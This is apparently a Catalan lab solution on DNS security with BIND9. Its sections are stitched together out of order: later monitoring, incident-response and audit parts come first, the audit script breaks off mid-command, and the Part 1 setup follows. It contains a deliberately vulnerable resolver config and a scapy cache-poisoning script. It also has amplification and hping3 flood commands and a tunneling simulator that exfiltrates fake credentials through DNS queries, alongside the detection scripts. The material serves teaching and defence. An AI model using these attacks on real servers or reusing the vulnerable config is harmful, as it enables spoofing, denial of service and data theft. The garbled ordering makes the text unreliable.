Crea RPZ per bloquejar dominis maliciosos
sudo nano /etc/bind/zones/db.rpz
```bash
$TTL 300
@ IN SOA localhost. root.localhost. (
2024010101 ; Serial
3600 ; Refresh
1800 ; Retry
604800 ; Expire
86400 ) ; Minimum TTL
IN NS localhost.
; Dominis maliciosos a bloquejar
malware.com IN CNAME . ; NXDOMAIN response
phishing.net IN CNAME .
*.badsite.org IN CNAME .
spam.example IN CNAME .
; Bloquejar IPs específiques
32.10.10.10.rpz-ip IN CNAME . ; Bloqueja 10.10.10.32
24.0.0.127.rpz-ip IN CNAME . ; Bloqueja 127.0.0.0/24
; Redireccionar dominis
redirect.example IN A 192.168.3.200 ; Redirigeix a honeypot
Afegeix abans d'options:
zone "rpz" {
type master;
file "/etc/bind/zones/db.rpz";
allow-query { none; };
allow-transfer { none; };
};
4.3 Configuració de Chroot Environment
# Instal·la bind9 en chroot
sudo apt install -y bind9-chroot
# El paquet configura automàticament el chroot
# Verifica que està funcionant en chroot
sudo systemctl status bind9-chroot
# Els fitxers ara estan a /var/bind9/chroot/etc/bind/
ls -la /var/bind9/chroot/etc/bind/
# Per editar configuració en chroot
sudo nano /var/bind9/chroot/etc/bind/named.conf.options
Part 5: Monitorització i Anàlisi
5.1 Script de Monitorització Complet
#!/bin/bash
# dns-monitor.sh - Script complet de monitorització DNS
LOG_DIR="/var/log/bind"
ALERT_FILE="/var/log/dns-alerts.log"
THRESHOLD_QUERIES=100
THRESHOLD_UNIQUE_DOMAINS=50
CHECK_INTERVAL=60
# Colors per output
RED='\033[0;31m'
YELLOW='\033[1;33m'
GREEN='\033[0;32m'
NC='\033[0m' # No Color
# Funció per escriure alerts
write_alert() {
local level=$1
local message=$2
echo "$(date '+%Y-%m-%d %H:%M:%S') [$level] $message" >> $ALERT_FILE
case $level in
CRITICAL)
echo -e "${RED}[CRITICAL]${NC} $message"
;;
WARNING)
echo -e "${YELLOW}[WARNING]${NC} $message"
;;
INFO)
echo -e "${GREEN}[INFO]${NC} $message"
;;
esac
}
# Detecta DNS tunneling
detect_tunneling() {
local suspicious_count=0
# Busca subdominis anormalment llargs (>50 caràcters)
suspicious_count=$(grep "query:" $LOG_DIR/query.log | \
tail -1000 | \
awk '{print $8}' | \
awk -F'.' '{if(length($1) > 50) print}' | \
wc -l)
if [ $suspicious_count -gt 10 ]; then
write_alert "WARNING" "Possible DNS tunneling detected: $suspicious_count suspicious queries"
# Mostra exemples
grep "query:" $LOG_DIR/query.log | \
tail -1000 | \
awk '{print $8}' | \
awk -F'.' '{if(length($1) > 50) print}' | \
head -3 | \
while read domain; do
write_alert "INFO" "Suspicious domain: $domain"
done
fi
# Detecta patrons base64
local base64_patterns=$(grep "query:" $LOG_DIR/query.log | \
tail -1000 | \
grep -E "[A-Za-z0-9+/]{40,}" | \
wc -l)
if [ $base64_patterns -gt 5 ]; then
write_alert "WARNING" "Possible base64 encoded data in queries: $base64_patterns occurrences"
fi
}
# Detecta atacs DDoS/Amplification
detect_ddos() {
# Compta queries per IP en l'últim minut
local high_volume_ips=$(grep "query:" $LOG_DIR/query.log | \
tail -1000 | \
awk '{print $6}' | \
sed 's/#[0-9]*//g' | \
sort | uniq -c | \
awk -v threshold=$THRESHOLD_QUERIES '$1 > threshold {print $2}')
if [ ! -z "$high_volume_ips" ]; then
for ip in $high_volume_ips; do
local count=$(grep "$ip" $LOG_DIR/query.log | tail -1000 | wc -l)
write_alert "CRITICAL" "Possible DDoS from $ip: $count queries in last 1000 lines"
done
fi
# Detecta ANY queries (amplification)
local any_queries=$(grep "ANY" $LOG_DIR/query.log | tail -100 | wc -l)
if [ $any_queries -gt 10 ]; then
write_alert "WARNING" "High number of ANY queries detected: $any_queries (possible amplification attack)"
fi
}
# Detecta zone transfer attempts
detect_zone_transfers() {
local axfr_attempts=$(grep -E "AXFR|IXFR" $LOG_DIR/query.log | tail -100 | wc -l)
if [ $axfr_attempts -gt 0 ]; then
write_alert "WARNING" "Zone transfer attempts detected: $axfr_attempts"
# Mostra IPs que han intentat
grep -E "AXFR|IXFR" $LOG_DIR/query.log | \
tail -10 | \
awk '{print $6}' | \
sort -u | \
while read ip; do
write_alert "INFO" "Zone transfer attempt from: $ip"
done
fi
}
# Detecta cache poisoning attempts
detect_cache_poisoning() {
# Busca respostes no sol·licitades o duplicades
local unsolicited=$(grep "unexpected RCODE" $LOG_DIR/security.log 2>/dev/null | tail -100 | wc -l)
if [ $unsolicited -gt 5 ]; then
write_alert "CRITICAL" "Possible cache poisoning attempt: $unsolicited unexpected responses"
fi
# Detecta respostes amb TTL molt alt
local high_ttl=$(grep "query:" $LOG_DIR/query.log | \
tail -1000 | \
grep -E "TTL [0-9]{6,}" | \
wc -l)
if [ $high_ttl -gt 0 ]; then
write_alert "WARNING" "Responses with unusually high TTL detected: $high_ttl"
fi
}
# Anàlisi estadístic
analyze_statistics() {
echo -e "\n${GREEN}=== DNS Statistics ===${NC}"
# Total queries
local total_queries=$(grep -c "query:" $LOG_DIR/query.log 2>/dev/null || echo 0)
echo "Total queries logged: $total_queries"
# Unique clients
local unique_clients=$(grep "query:" $LOG_DIR/query.log 2>/dev/null | \
awk '{print $6}' | \
sed 's/#[0-9]*//g' | \
sort -u | wc -l)
echo "Unique clients: $unique_clients"
# Top queried domains
echo -e "\n${GREEN}Top 10 Queried Domains:${NC}"
grep "query:" $LOG_DIR/query.log 2>/dev/null | \
awk '{print $8}' | \
sort | uniq -c | \
sort -rn | \
head -10
# Query types distribution
echo -e "\n${GREEN}Query Types Distribution:${NC}"
grep "query:" $LOG_DIR/query.log 2>/dev/null | \
awk '{print $10}' | \
sort | uniq -c | \
sort -rn
}
# Monitorització del servei
check_service_health() {
# Verifica que el servei està actiu
if ! systemctl is-active --quiet bind9; then
write_alert "CRITICAL" "BIND9 service is not running!"
return 1
fi
# Verifica ús de CPU i memòria
local cpu_usage=$(ps aux | grep named | grep -v grep | awk '{print $3}' | cut -d. -f1)
local mem_usage=$(ps aux | grep named | grep -v grep | awk '{print $4}' | cut -d. -f1)
if [ "$cpu_usage" -gt 80 ]; then
write_alert "WARNING" "High CPU usage: ${cpu_usage}%"
fi
if [ "$mem_usage" -gt 80 ]; then
write_alert "WARNING" "High memory usage: ${mem_usage}%"
fi
}
# Main loop
main() {
echo -e "${GREEN}Starting DNS Security Monitor${NC}"
echo "Monitoring interval: ${CHECK_INTERVAL} seconds"
echo "Log directory: ${LOG_DIR}"
echo "Alerts file: ${ALERT_FILE}"
echo -e "${YELLOW}Press Ctrl+C to stop${NC}\n"
while true; do
clear
echo -e "${GREEN}=== DNS Security Monitor ===${NC}"
echo "Time: $(date '+%Y-%m-%d %H:%M:%S')"
# Executa totes les verificacions
check_service_health
detect_tunneling
detect_ddos
detect_zone_transfers
detect_cache_poisoning
analyze_statistics
# Mostra últimes alertes
echo -e "\n${YELLOW}=== Recent Alerts ===${NC}"
tail -5 $ALERT_FILE 2>/dev/null || echo "No recent alerts"
sleep $CHECK_INTERVAL
done
}
# Trap per netejar en sortir
trap 'echo -e "\n${GREEN}Monitor stopped${NC}"; exit 0' INT TERM
# Inicia monitorització
main
Fer executable i executar:
5.2 Captura i Anàlisi amb Wireshark/Tcpdump
# Captura DNS traffic complet
sudo tcpdump -i any -w /tmp/dns_full_capture.pcap -c 10000 port 53
# Captura només queries DNS
sudo tcpdump -i any -w /tmp/dns_queries.pcap 'udp port 53 and (udp[10] & 0x80 = 0)'
# Captura només respostes DNS
sudo tcpdump -i any -w /tmp/dns_responses.pcap 'udp port 53 and (udp[10] & 0x80 = 0x80)'
# Anàlisi amb tshark
# Mostra top talkers
tshark -r /tmp/dns_full_capture.pcap -Y dns -T fields -e ip.src -e dns.qry.name | \
sort | uniq -c | sort -rn | head -20
# Detecta consultes ANY (amplification)
tshark -r /tmp/dns_full_capture.pcap -Y "dns.qry.type == 255"
# Detecta possibles tunneling (queries llargues)
tshark -r /tmp/dns_full_capture.pcap -Y "dns && frame.len > 200"
# Analitza distribució de tipus de queries
tshark -r /tmp/dns_full_capture.pcap -Y dns.flags.response==0 \
-T fields -e dns.qry.type | sort | uniq -c | sort -rn
5.3 Dashboard de Monitorització en Temps Real
#!/bin/bash
# dns-dashboard.sh - Dashboard visual DNS
clear
while true; do
clear
echo "╔════════════════════════════════════════════════════════════╗"
echo "║ DNS Security Dashboard ║"
echo "║ $(date '+%Y-%m-%d %H:%M:%S') ║"
echo "╚════════════════════════════════════════════════════════════╝"
# Service Status
echo -e "\n┌─ Service Status ─────────────────────────────────────────┐"
if systemctl is-active --quiet bind9; then
echo -e "│ BIND9: \033[32m● RUNNING\033[0m │"
else
echo -e "│ BIND9: \033[31m● STOPPED\033[0m │"
fi
# CPU and Memory
CPU=$(ps aux | grep named | grep -v grep | awk '{print $3}')
MEM=$(ps aux | grep named | grep -v grep | awk '{print $4}')
printf "│ CPU: %5s%% | Memory: %5s%% │\n" "$CPU" "$MEM"
echo "└──────────────────────────────────────────────────────────┘"
# Query Statistics
echo -e "\n┌─ Query Statistics (Last 1000) ──────────────────────────┐"
TOTAL=$(grep -c "query:" /var/log/bind/query.log | tail -1000)
UNIQUE=$(grep "query:" /var/log/bind/query.log | tail -1000 | \
awk '{print $6}' | sort -u | wc -l)
printf "│ Total Queries: %-10s Unique Clients: %-10s │\n" "$TOTAL" "$UNIQUE"
echo "└──────────────────────────────────────────────────────────┘"
# Top Domains
echo -e "\n┌─ Top 5 Queried Domains ──────────────────────────────────┐"
grep "query:" /var/log/bind/query.log 2>/dev/null | tail -1000 | \
awk '{print $8}' | sort | uniq -c | sort -rn | head -5 | \
while read count domain; do
printf "│ %-6s %-48s │\n" "$count" "$domain"
done
echo "└──────────────────────────────────────────────────────────┘"
# Security Alerts
echo -e "\n┌─ Security Alerts ────────────────────────────────────────┐"
# Check for suspicious activity
ANY_COUNT=$(grep "ANY" /var/log/bind/query.log | tail -100 | wc -l)
AXFR_COUNT=$(grep "AXFR" /var/log/bind/query.log | tail -100 | wc -l)
LONG_DOMAINS=$(grep "query:" /var/log/bind/query.log | tail -1000 | \
awk '{print $8}' | awk -F'.' '{if(length($1) > 50) print}' | wc -l)
if [ $ANY_COUNT -gt 10 ]; then
echo -e "│ \033[33m⚠ High ANY queries: $ANY_COUNT\033[0m │"
fi
if [ $AXFR_COUNT -gt 0 ]; then
echo -e "│ \033[31m⚠ Zone transfer attempts: $AXFR_COUNT\033[0m │"
fi
if [ $LONG_DOMAINS -gt 10 ]; then
echo -e "│ \033[33m⚠ Possible DNS tunneling: $LONG_DOMAINS queries\033[0m │"
fi
if [ $ANY_COUNT -le 10 ] && [ $AXFR_COUNT -eq 0 ] && [ $LONG_DOMAINS -le 10 ]; then
echo -e "│ \033[32m✓ No security alerts\033[0m │"
fi
echo "└──────────────────────────────────────────────────────────┘"
# Rate Limit Status (if configured)
echo -e "\n┌─ Rate Limiting Status ───────────────────────────────────┐"
RATE_LIMITED=$(grep "rate limit" /var/log/bind/security.log 2>/dev/null | tail -10 | wc -l)
printf "│ Rate limited queries (last 10 min): %-19s │\n" "$RATE_LIMITED"
echo "└──────────────────────────────────────────────────────────┘"
echo -e "\nPress Ctrl+C to exit | Refreshing in 5 seconds..."
sleep 5
done
Part 6: Resposta a Incidents
6.1 Procediment Complet de Resposta
#!/bin/bash
# incident-response.sh - Script de resposta a incidents DNS
INCIDENT_LOG="/var/log/dns-incident.log"
BACKUP_DIR="/var/backups/dns"
log_incident() {
echo "$(date '+%Y-%m-%d %H:%M:%S') - $1" >> $INCIDENT_LOG
}
# 1. DETECCIÓ
detect_incident() {
echo "=== PHASE 1: DETECTION ==="
log_incident "Starting incident detection"
# Verifica logs per anomalies
echo "Checking for anomalies..."
# Verifica serveis
if ! systemctl is-active --quiet bind9; then
echo "⚠ BIND9 service is down!"
log_incident "CRITICAL: BIND9 service down"
return 1
fi
# Verifica atacs actius
local active_attacks=$(grep -E "REFUSED|SERVFAIL|rate limit" /var/log/bind/query.log | \
tail -100 | wc -l)
if [ $active_attacks -gt 50 ]; then
echo "⚠ Possible active attack detected: $active_attacks suspicious entries"
log_incident "WARNING: Possible attack - $active_attacks suspicious queries"
return 2
fi
echo "✓ No immediate threats detected"
return 0
}
# 2. CONTENCIÓ
contain_threat() {
echo "=== PHASE 2: CONTAINMENT ==="
log_incident "Starting threat containment"
local attacker_ip=$1
if [ ! -z "$attacker_ip" ]; then
echo "Blocking attacker IP: $attacker_ip"
sudo iptables -I INPUT -s $attacker_ip -j DROP
log_incident "Blocked IP: $attacker_ip"
fi
# Limita rate limiting més agressivament
echo "Applying strict rate limiting..."
sudo rndc reconfig
# Si l'atac és sever, considera parar el servei
read -p "Stop DNS service temporarily? (y/n): " stop_service
if [ "$stop_service" == "y" ]; then
sudo systemctl stop bind9
log_incident "DNS service stopped for containment"
fi
}
# 3. ERADICACIÓ
eradicate_threat() {
echo "=== PHASE 3: ERADICATION ==="
log_incident "Starting threat eradication"
# Neteja cache DNS
echo "Flushing DNS cache..."
sudo rndc flush
log_incident "DNS cache flushed"
# Revisa configuració
echo "Checking configuration..."
if ! sudo named-checkconf; then
echo "⚠ Configuration errors detected!"
log_incident "ERROR: Configuration issues found"
return 1
fi
# Elimina fitxers sospitosos
echo "Checking for suspicious files..."
find /var/cache/bind -type f -mtime -1 -exec ls -la {} \;
# Actualitza zones si cal
echo "Reloading zones..."
sudo rndc reload
log_incident "Zones reloaded"
}
# 4. RECUPERACIÓ
recover_service() {
echo "=== PHASE 4: RECOVERY ==="
log_incident "Starting service recovery"
# Backup actual configuration
echo "Creating configuration backup..."
mkdir -p $BACKUP_DIR
cp -r /etc/bind/* $BACKUP_DIR/$(date +%Y%m%d_%H%M%S)/
log_incident "Configuration backed up"
# Restart service amb configuració segura
echo "Restarting DNS service..."
sudo systemctl restart bind9
if systemctl is-active --quiet bind9; then
echo "✓ DNS service restored successfully"
log_incident "DNS service restored"
else
echo "⚠ Failed to restore DNS service!"
log_incident "ERROR: Failed to restore service"
return 1
fi
# Verifica funcionament
echo "Testing DNS resolution..."
if dig @localhost example.com +short > /dev/null; then
echo "✓ DNS resolution working"
log_incident "DNS resolution verified"
else
echo "⚠ DNS resolution not working!"
log_incident "ERROR: DNS resolution failed"
return 1
fi
}
# 5. POST-INCIDENT
post_incident() {
echo "=== PHASE 5: POST-INCIDENT ANALYSIS ==="
log_incident "Starting post-incident analysis"
# Genera report
echo "Generating incident report..."
cat > /tmp/incident_report_$(date +%Y%m%d).txt << EOF
DNS INCIDENT REPORT
===================
Date: $(date)
Duration: $SECONDS seconds
SUMMARY:
--------
$(tail -20 $INCIDENT_LOG)
AFFECTED SERVICES:
-----------------
- BIND9 DNS Server
- Zones affected: $(sudo rndc status | grep "number of zones")
ACTIONS TAKEN:
-------------
$(grep "$(date '+%Y-%m-%d')" $INCIDENT_LOG)
RECOMMENDATIONS:
---------------
1. Review and strengthen firewall rules
2. Implement additional monitoring
3. Consider upgrading BIND version
4. Review and test backup procedures
5. Conduct security audit
EOF
echo "Report saved to: /tmp/incident_report_$(date +%Y%m%d).txt"
log_incident "Incident report generated"
}
# Main execution
main() {
echo "╔════════════════════════════════════════════════════════╗"
echo "║ DNS INCIDENT RESPONSE PROCEDURE ║"
echo "╚════════════════════════════════════════════════════════╝"
log_incident "Incident response initiated"
# Phase 1
detect_incident
if [ $? -ne 0 ]; then
echo "⚠ Incident detected! Proceeding with response..."
# Phase 2
read -p "Enter attacker IP (if known, or press Enter): " attacker_ip
contain_threat $attacker_ip
# Phase 3
eradicate_threat
# Phase 4
recover_service
# Phase 5
post_incident
else
echo "No incident detected. System appears healthy."
fi
log_incident "Incident response completed"
echo -e "\n✓ Incident response procedure completed"
}
# Execute
main
6.2 Script d'Emergència Ràpida
#!/bin/bash
# emergency-dns.sh - Accions ràpides per mitigació
case "$1" in
block-amplification)
# Bloqueja consultes ANY per prevenir amplificació
iptables -A INPUT -p udp --dport 53 -m string \
--hex-string "|00 00 ff 00 01|" --algo bm -j DROP
echo "✓ Amplification mitigation activated"
;;
block-ip)
# Bloqueja IP específica
if [ -z "$2" ]; then
echo "Usage: $0 block-ip <IP>"
exit 1
fi
iptables -I INPUT -s $2 -p udp --dport 53 -j DROP
iptables -I INPUT -s $2 -p tcp --dport 53 -j DROP
echo "✓ Blocked IP: $2"
;;
emergency-stop)
# Para DNS i bloqueja tots els ports
systemctl stop bind9
iptables -A INPUT -p udp --dport 53 -j DROP
iptables -A INPUT -p tcp --dport 53 -j DROP
echo "✓ DNS service stopped and ports blocked"
;;
rate-limit)
# Aplica rate limiting estricte
iptables -A INPUT -p udp --dport 53 -m recent --set --name DNS
iptables -A INPUT -p udp --dport 53 -m recent --update \
--seconds 1 --hitcount 10 --name DNS -j DROP
echo "✓ Strict rate limiting applied (10 queries/second)"
;;
flush-cache)
# Neteja cache DNS
rndc flush
echo "✓ DNS cache flushed"
;;
restore)
# Restaura configuració normal
iptables -F INPUT
systemctl restart bind9
echo "✓ DNS service restored to normal"
;;
status)
# Mostra estat actual
echo "=== DNS Security Status ==="
systemctl status bind9 | grep Active
echo ""
echo "Firewall rules:"
iptables -L INPUT -n | grep 53
echo ""
echo "Recent attacks:"
grep -E "REFUSED|rate limit" /var/log/bind/query.log | tail -5
;;
*)
echo "DNS Emergency Response Script"
echo ""
echo "Usage: $0 {command} [options]"
echo ""
echo "Commands:"
echo " block-amplification - Block ANY queries"
echo " block-ip <IP> - Block specific IP"
echo " emergency-stop - Stop DNS service completely"
echo " rate-limit - Apply strict rate limiting"
echo " flush-cache - Clear DNS cache"
echo " restore - Restore normal operation"
echo " status - Show current status"
exit 1
;;
esac
Part 7: Auditoria Final
7.1 Script d'Auditoria Completa
#!/bin/bash
# dns-audit.sh - Auditoria completa de seguretat DNS
AUDIT_REPORT="/tmp/dns_audit_$(date +%Y%m%d_%H%M%S).txt"
echo "Starting DNS Security Audit..." | tee $AUDIT_REPORT
echo "==============================" | tee -a $AUDIT_REPORT
echo "Date: $(date)" | tee -a $AUDIT_REPORT
echo "" | tee -a $AUDIT_REPORT
# Checklist de seguretat
echo "SECURITY CHECKLIST:" | tee -a $AUDIT_REPORT
echo "-------------------" | tee -a $AUDIT_REPORT
checks=(
"Recursion limited to trusted networks:grep -q 'allow-recursion.*trusted' /etc/bind/named.conf.options"
"Zone transfers restricted:grep -q 'allow-transfer.*none' /etc/bind/named.conf.options"
"DNSSEC enabled:grep -q 'dnssec-enable yes' /etc/bind/named.conf.options"
"Rate limiting active:grep -q 'rate-limit' /etc/bind/named.conf.options"
"Version hidden:grep -q 'version.*DNS Server' /etc/bind/named.conf.options"
"Query logging enabled:test -f /var/log/bind/query.log"
"RPZ implemented:test -f /etc/bind/zones/db.rpz"
"Chroot environment:systemctl is-active bind9-chroot"
"Firewall configured:iptables -L | grep -q 53"
"Monitoring active:pgrep -f dns-monitor"
)
passed=0
failed=0
for check in "${checks[@]}"; do
description="${check%%:*}"
command="${check##*:}"
if eval $command &>/dev/null; then
echo "✓ $description" | tee -a $AUDIT_REPORT
((passed++))
else
echo "✗ $description" | tee -a $AUDIT_REPORT
((failed++))
fi
done
echo "" | tee -a $AUDIT_REPORT
echo "Results: $passed passed, $failed failed" | tee -a $AUDIT_REPORT
# Test de penetració
echo "" | tee -a $AUDIT_REPORT
echo "PENETRATION TEST:" | tee -a $AUDIT_REPORT
echo "-----------------" | tee -a $AUDIT_REPORT
# Test DNSSEC
echo -n "DNSSEC validation: " | tee -a $AUDIT_REPORT
if dig +dnssec +short @localhost example.com | grep -q RRSIG; then
echo "PASS" | tee -a $AUDIT_REPORT
else
echo "FAIL" | tee -a $AUDIT_REPORT
fi
# Test zone transfer
echo -n "Zone transfer protection: " | tee -a $AUDIT_REPORT
if ! dig @localhost empresa.local AXFR | grep -q "Transfer failed"; then
echo "FAIL - Zone transfer allowed!" | tee -a $AUDIT_REPORT
else
echo "PASS" | tee -a $AUDIT_REPORT
fi
# Test recursion
echo -n "Recursion restriction: " | t# Solució Activitat 3: Seguretat DNS i Mitigació d'Atacs
## Part 1: Preparació del Laboratori d'Atacs
### 1.1 Configuració del DNS Vulnerable (DNS-Primary)
```bash
# Instal·la BIND9
sudo apt update && sudo apt install -y bind9 bind9utils bind9-doc dnsutils
# Crea configuració deliberadament vulnerable per testing
sudo cp /etc/bind/named.conf.options /etc/bind/named.conf.options.vulnerable
sudo nano /etc/bind/named.conf.options
Configuració vulnerable (NOMÉS per laboratori):
options {
directory "/var/cache/bind";
# CONFIGURACIÓ VULNERABLE - NO USAR EN PRODUCCIÓ
recursion yes;
allow-recursion { any; }; # VULNERABLE!
allow-query { any; }; # VULNERABLE!
allow-query-cache { any; }; # VULNERABLE!
allow-transfer { any; }; # VULNERABLE!
dnssec-enable no; # VULNERABLE!
dnssec-validation no; # VULNERABLE!
# No rate limiting # VULNERABLE!
# No query source randomization # VULNERABLE!
listen-on { any; };
listen-on-v6 { any; };
# Forwarders sense validació
forwarders {
8.8.8.8;
1.1.1.1;
};
};
1.2 Instal·lació d'Eines d'Atac (Màquina Attacker)
# Instal·la eines de reconeixement DNS
sudo apt update
sudo apt install -y dnsrecon dnsenum fierce
sudo apt install -y hping3 scapy python3-scapy
sudo apt install -y dnsutils net-tools nmap
sudo apt install -y wireshark tshark tcpdump
# Instal·la Python i llibreries per scripts
sudo apt install -y python3-pip
pip3 install dnspython scapy faker
# Clona repositoris d'eines DNS
git clone https://github.com/maurosoria/dirsearch.git
git clone https://github.com/darkoperator/dnsrecon.git
1.3 Configuració de Monitorització (DNS-Primary)
# Crea directoris per logs
sudo mkdir -p /var/log/bind
sudo chown bind:bind /var/log/bind
# Configura logging detallat
sudo nano /etc/bind/named.conf.local
Afegeix configuració de logging:
logging {
channel security_file {
file "/var/log/bind/security.log" versions 3 size 10m;
severity dynamic;
print-time yes;
print-severity yes;
print-category yes;
};
channel query_file {
file "/var/log/bind/query.log" versions 5 size 50m;
severity info;
print-time yes;
};
channel xfer_file {
file "/var/log/bind/xfer.log" versions 3 size 10m;
severity info;
print-time yes;
print-category yes;
};
channel attack_file {
file "/var/log/bind/attack.log" versions 3 size 20m;
severity info;
print-time yes;
print-severity yes;
};
category security { security_file; };
category queries { query_file; };
category xfer-out { xfer_file; };
category query-errors { attack_file; };
category rate-limit { attack_file; };
};
# Reinicia BIND amb la configuració vulnerable
sudo systemctl restart bind9
# Verifica que els logs s'estan generant
tail -f /var/log/bind/query.log
Part 2: Simulació i Anàlisi d'Atacs
2.1 DNS Reconnaissance
Des de la màquina Attacker:
# 1. Enumeració bàsica amb dnsrecon
dnsrecon -d empresa.local -n 192.168.3.10 -t std
# Resultat: Obté NS, MX, SOA, i intenta zone transfer
# 2. Intent de transferència de zona
dig @192.168.3.10 empresa.local AXFR
# Resultat: AMB configuració vulnerable, mostra TOTS els registres
# Output esperat amb servidor vulnerable:
; <<>> DiG 9.18.12 <<>> @192.168.3.10 empresa.local AXFR
; Transfer successful
empresa.local. 86400 IN SOA ns1.empresa.local. admin.empresa.local. 2024010101 3600 1800 604800 86400
empresa.local. 86400 IN NS ns1.empresa.local.
www.empresa.local. 86400 IN A 192.168.3.20
mail.empresa.local. 86400 IN A 192.168.3.25
[...]
# 3. Enumeració amb dnsenum
dnsenum empresa.local --server 192.168.3.10 --threads 5
# Troba subdominis i intenta brute force
# 4. Força bruta de subdominis amb fierce
fierce --domain empresa.local --dns-servers 192.168.3.10 --subdomain-file /usr/share/wordlists/subdomains.txt
# 5. Anàlisi de logs generats
# En DNS-Primary:
sudo tail -n 50 /var/log/bind/query.log | grep -E "AXFR|ANY"
sudo tail -n 50 /var/log/bind/xfer.log
2.2 DNS Cache Poisoning
Crea i executa script d'atac:
#!/usr/bin/env python3
# dns_cache_poison.py
from scapy.all import *
import random
import threading
def poison_attempt(target_dns, domain, fake_ip):
"""
Intenta enviar respostes DNS falses per enverinar la cache
"""
print(f"[*] Starting cache poisoning for {domain} -> {fake_ip}")
for i in range(10000):
# ID aleatori per intentar encertar
dns_id = random.randint(0, 65535)
# Construeix resposta DNS falsa
fake_response = IP(src="8.8.8.8", dst=target_dns)/\
UDP(sport=53, dport=53)/\
DNS(id=dns_id,
qr=1, # Response
aa=1, # Authoritative
rd=1, # Recursion desired
ra=1, # Recursion available
qd=DNSQR(qname=domain),
an=DNSRR(rrname=domain,
type="A",
ttl=86400,
rdata=fake_ip))
send(fake_response, verbose=0)
if i % 1000 == 0:
print(f"[*] Sent {i} poisoning attempts")
print(f"[+] Poisoning attempts completed for {domain}")
def trigger_query(target_dns, domain):
"""
Genera queries per forçar el servidor a fer consultes
"""
for i in range(100):
query = IP(dst=target_dns)/UDP(dport=53)/\
DNS(rd=1, qd=DNSQR(qname=domain))
send(query, verbose=0)
time.sleep(0.1)
if __name__ == "__main__":
TARGET_DNS = "192.168.3.10"
DOMAIN = "bank.com"
FAKE_IP = "192.168.3.100"
# Executa en paral·lel
t1 = threading.Thread(target=trigger_query, args=(TARGET_DNS, DOMAIN))
t2 = threading.Thread(target=poison_attempt, args=(TARGET_DNS, DOMAIN, FAKE_IP))
t1.start()
t2.start()
t1.join()
t2.join()
# Verifica si l'atac ha funcionat
print("\n[*] Checking if poisoning was successful...")
os.system(f"dig @{TARGET_DNS} {DOMAIN} +short")
# Executa l'atac
python3 dns_cache_poison.py
# Monitoritza en DNS-Primary
sudo tcpdump -i any -w poison_attempt.pcap port 53
# Analitza amb tshark
tshark -r poison_attempt.pcap -Y "dns.flags.response == 1" | head -20
2.3 DNS Amplification Attack
# Simula atac d'amplificació amb consultes ANY
# NOTA: En entorn controlat només!
# 1. Genera consultes ANY per amplificació
for i in {1..1000}; do
dig @192.168.3.10 ANY empresa.local +notcp +ignore &
done
# 2. Monitoritza l'impacte
watch -n 1 'netstat -su | grep -A 10 Udp'
# 3. Captura trànsit per anàlisi
sudo tcpdump -i any -c 1000 -w amplification.pcap 'port 53 and udp[10] = 0xff'
# 4. Analitza mida de paquets
tcpdump -r amplification.pcap -nn | awk '{print $NF}' | \
sed 's/[^0-9]*//g' | awk '{sum+=$1; count++} END {print "Average packet size:", sum/count}'
# 5. Utilitza hping3 per atac més sofisticat
sudo hping3 -2 -p 53 -s 1234 --flood 192.168.3.10
# En DNS-Primary, observa la càrrega
top -p $(pgrep named)
iostat -x 1
2.4 DNS Tunneling Detection
Crea script de tunneling:
#!/bin/bash
# dns_tunnel_simulator.sh
DNS_SERVER="192.168.3.10"
DOMAIN="tunnel.empresa.local"
# Simula exfiltració de dades via DNS
echo "[*] Simulating DNS tunneling..."
# 1. Codifica un fitxer en base64 i envia via DNS
echo "Sensitive data: password123, credit_card: 4532-1234-5678-9012" > /tmp/sensitive.txt
BASE64_DATA=$(base64 /tmp/sensitive.txt | tr -d '\n')
# 2. Divideix en chunks i envia
CHUNK_SIZE=30
for (( i=0; i<${#BASE64_DATA}; i+=CHUNK_SIZE )); do
CHUNK=${BASE64_DATA:$i:$CHUNK_SIZE}
SUBDOMAIN="${CHUNK}.${DOMAIN}"
echo "[*] Querying: $SUBDOMAIN"
dig @${DNS_SERVER} ${SUBDOMAIN} +short
sleep 0.5
done
# 3. Genera patrons sospitosos
for i in {1..100}; do
# Subdominis llargs aleatoris
RANDOM_DATA=$(openssl rand -base64 48 | tr -d '/+=\n' | cut -c1-50)
dig @${DNS_SERVER} ${RANDOM_DATA}.suspicious.${DOMAIN} +short
# Alta freqüència de consultes
if [ $((i % 10)) -eq 0 ]; then
echo "[*] Sent $i suspicious queries"
fi
done
# Executa simulació
chmod +x dns_tunnel_simulator.sh
./dns_tunnel_simulator.sh
# En DNS-Primary, detecta tunneling
# Script de detecció
cat > /tmp/detect_tunneling.sh << 'EOF'
#!/bin/bash
LOG="/var/log/bind/query.log"
echo "=== DNS Tunneling Detection ==="
# Detecta subdominis anormalment llargs
echo -e "\n[*] Suspicious long subdomains:"
grep "query:" $LOG | tail -1000 | \
awk '{print $8}' | \
awk -F'.' '{if(length($1) > 40) print}' | \
sort | uniq -c | sort -rn | head -10
# Detecta alta freqüència de consultes úniques
echo -e "\n[*] High frequency unique queries:"
grep "query:" $LOG | tail -1000 | \
awk '{print $6, $8}' | \
sort | uniq | \
awk '{print $1}' | \
sort | uniq -c | \
sort -rn | head -10
# Detecta patrons de base64
echo -e "\n[*] Possible base64 encoded data:"
grep "query:" $LOG | tail -1000 | \
grep -E "[A-Za-z0-9+/]{40,}" | head -5
EOF
chmod +x /tmp/detect_tunneling.sh
/tmp/detect_tunneling.sh
Part 3: Implementació de DNSSEC
3.1 Generació de Claus DNSSEC
# En DNS-Primary
cd /etc/bind
# Crea directori per les claus
sudo mkdir -p keys
cd keys
# Genera KSK (Key Signing Key) - 4096 bits per seguretat
sudo dnssec-keygen -a RSASHA256 -b 4096 -n ZONE -f KSK empresa.local
# Output: Kempresa.local.+008+12345.key (exemple)
# Genera ZSK (Zone Signing Key) - 2048 bits
sudo dnssec-keygen -a RSASHA256 -b 2048 -n ZONE empresa.local
# Output: Kempresa.local.+008+67890.key (exemple)
# Verifica les claus generades
ls -la K*.key
3.2 Preparació de la Zona per DNSSEC
# Inclou les claus al fitxer de zona
sudo bash -c 'echo "\$INCLUDE \"/etc/bind/keys/Kempresa.local.+*.key\"" >> /etc/bind/zones/db.empresa.local'
# Incrementa el serial number
sudo nano /etc/bind/zones/db.empresa.local
# Canvia serial a: 2024010102
3.3 Signatura de la Zona
# Signa la zona
cd /etc/bind/zones
sudo dnssec-signzone -A -3 $(head -c 1000 /dev/random | sha1sum | cut -b 1-16) \
-N INCREMENT -o empresa.local -t \
-k /etc/bind/keys/Kempresa.local.+008+12345.key \
/etc/bind/zones/db.empresa.local \
/etc/bind/keys/Kempresa.local.+008+67890.key
# Output: db.empresa.local.signed
# Verifica la zona signada
